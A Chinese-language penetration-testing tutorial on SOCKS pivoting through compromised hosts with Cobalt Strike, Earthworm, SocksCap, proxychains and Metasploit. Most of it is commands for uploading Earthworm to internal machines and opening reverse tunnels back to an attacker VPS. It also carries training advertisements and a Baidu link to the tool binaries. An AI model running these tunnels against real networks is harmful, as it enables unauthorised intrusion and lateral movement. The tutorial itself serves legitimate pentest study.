0x000-前文
有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660
2000人网络安全交流群,欢迎大佬们来玩
群号820783253
0x001-Socks概念
目前利用网络防火墙将组织内部的网络结构与外部网络如 INTERNET 中有效地隔离开来,这种方法正变得逐渐流行起来。这些防火墙系统通常以应用层网关的形式工作在网络之间,提供受控的 TELNET 、 FTP 、 SMTP 等的接入。 SOCKS 提供一个通用框架来使这些协议安全透明地穿过防火墙。
说的简单明了一点,在渗透测试中,我们使用socks技术,可以穿透进入目标机的内网,从而扩大我们的战果
0x002-Cobaltstrike自带Socks功能
选择一个beacon,右键,中转–>SOCKS Server,或使用命令socks [port]
弹出一个窗口,按要求配置好代理端口
如图,成功开启socks 4,连接我们teamserver的5126端口,即可进入目标机内网~
0x003-使用ew+SocksCap穿透到目标机内网
①Earthworm(下载见文末)
Ew(Earthworm)是一款当之无愧的内网穿透大杀器,应用的平台非常广泛,包括
ew_for_Win.exe 适用各种Windows系统(X86指令集、X64指令集) Windows7、Windows XP
ew_for_Linux32 各常见Linux发行版 (X86 指令集 CPU) Ubuntu(X86)/BT5(X86)
ew_for_linux64 各常见Linux发行版 (X64 指令集 CPU) Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64 MacOS系统发行版 (X64 指令集) 苹果PC电脑,苹果server
ew_for_Arm32 常见Arm-Linux系统 HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel 常见Mips-Linux系统 (Mipsel指令集 CPU) 萤石硬盘录像机、小米mini路由器(R1CM)
下面简单讲一下它的应用场景和命令
正向socks v5服务器 【适用于目标机拥有一个外网IP】
服务器端执行以下命令
ew.exe -s ssocksd -l 888
说明:服务器开启端口为888,SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。
反弹socks v5服务器 【适用于目标机器没有公网IP,但可访问内网资源】
本地执行以下命令
ew.exe -s rcsocks -l 1008 -e 888
说明:该命令的意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给888端口。
服务器端执行以下命令
ew.exe -s rssocks -d 2.2.2.2 -e 888
说明:该命令的意思是在服务器上启动SOCKS V5服务,并反弹到IP地址为2.2.2.2的服务器888端口上。
二级网络环境(一)
假设我们获得了右侧A主机和B主机的控制权
A主机配有2块网卡,一块连通外网,一块10.48.128.25只能连接内网B主机,无法访问内网其它资源。
B主机可以访问内网资源,但无法访问外网。
A.先上传ew到B主机,利用ssocksd方式启动888端口的SOCKS代理,命令如下:
ew -s ssocksd -l 888
B.上传ew到右侧A主机,运行下列命令:
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
说明:该命令意思是将1080端口收到的代理请求转交给B主机(10.48.128.49)的888端口。
C.可以通过访问A主机外网139.XXX.XX.113:1080来使用在B主机架设的socks5代理。
二级网络环境(二)
假设我们获得了右侧A主机和B主机的控制权限。
A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
这个操作分为4步,用到lcx_listen和lcx_slave命令:
A. 先上传ew 到左侧公网VPS上,运行下列命令:
ew –s lcx_listen –l 10800 –e 888
说明:该命令意思是在公网VPS添加转接隧道,将10800端口收到的代理请求转交给888端口。
B.上传ew到B主机,并利用ssocksd方式启动999端口的socks代理,命令如下:
ew -s ssocksd -l 999
C.上传ew 到A主机,运行下列命令:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999
说明:该命令意思是在A主机上利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来。
D. 返回我们公网VPS的CMD界面下,可以看到已经连接成功了。
现在就可以通过访问公网VPS地址 139.XXX.XX.113:10800来使用在B主机架设的socks5代理。
三级网络环境
三级网络环境在实际渗透中用的比较少,也比较复杂,现在我们来一个个的讲解下三级级联的用法。
假设渗透场景:
内网A主机没有公网IP但可以访问外网
B主机不能访问外网但可以被A主机访问、C主机可被B主机访问而且能够访问核心区域。
A.在左侧公网VPS上运行命令,将1080端口收到的代理请求转交给888端口:
ew -s rcsocks -l 1080 -e 888
B.在A主机上运行命令,将公网VPS的888端口和B主机的999端口连接起来:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999
C.在B主机上运行命令,将999端口收到的代理请求转交给777端口:
ew -s lcx_listen -l 999 -e 777
D.在C主机上启动SOCKS V5服务,并反弹到B主机的777端口上,命令如下。
ew -s rssocks -d 10.48.128.12 -e 777
E.在MY PC上可以通过访问公网VPS 139.XXX.XX.113:1080来使用在C主机架设的socks5代理。
整个数据流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks
实战场景
本次测试目标机器没有公网IP,但可访问内网资源
1.我们在teamserver上运行以下命令
ew.exe -s rcsocks -l 1008 -e 888
接受888端口数据,然后转发到1008端口
2.然后我们在目标机上传ew,然后在cs中执行
ew.exe -s rssocks -d 2.2.2.2 -e 888(2.2.2.2为teamserver)
3.随后,我们的teamserver就会显示连接成功
②使用SocksCap连接socks
根据自己的Windows版本以管理员模式运行SocksCap后
点击代理,然后添加自己teamserver的ip和刚刚转发出来的端口
在这里把代理切换成刚刚添加的
右键,添加一个exe文件,根据你的需求,添加要在socks隧道中运行的程序
选择程序,右键–>在代理隧道中运行选中程序,该程序即可通过socks进入目标内网
如图,为连入socks通道的cmd ping目标机的某内网ip
0x004-在Kali中Metasploit使用socks通道
1.使用cs搭建好socks4通道后,首先配置神器proxychains
在/etc/proxychains.conf配置文件中添加新的代理服务器。通过激活动态链设置,确保在不同的代理服务器之间能够正常切换。
root@kali:~# cat /etc/proxychains.conf | grep -v "#"
dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
socks4 172.16.0.20 1080 # socks4通道的IP及端口
然后在MSF中,配置socks4隧道即可让MSF进入目标机内网大杀四方
(2.2.2.2为teamserver的ip,1081为socks端口)
msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 2.2.2.2
msf auxiliary(socks4a) > set SRVPORT 1081
SRVPORT => 1081
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >
0x005-下载
Socks这块知识可能比较绕,大家如果没整懂,可以联系我交流。
EW和SocksCap下载链接
链接:https://pan.baidu.com/s/13t45euOJfLF4xedVfL0s1A
提取码:26az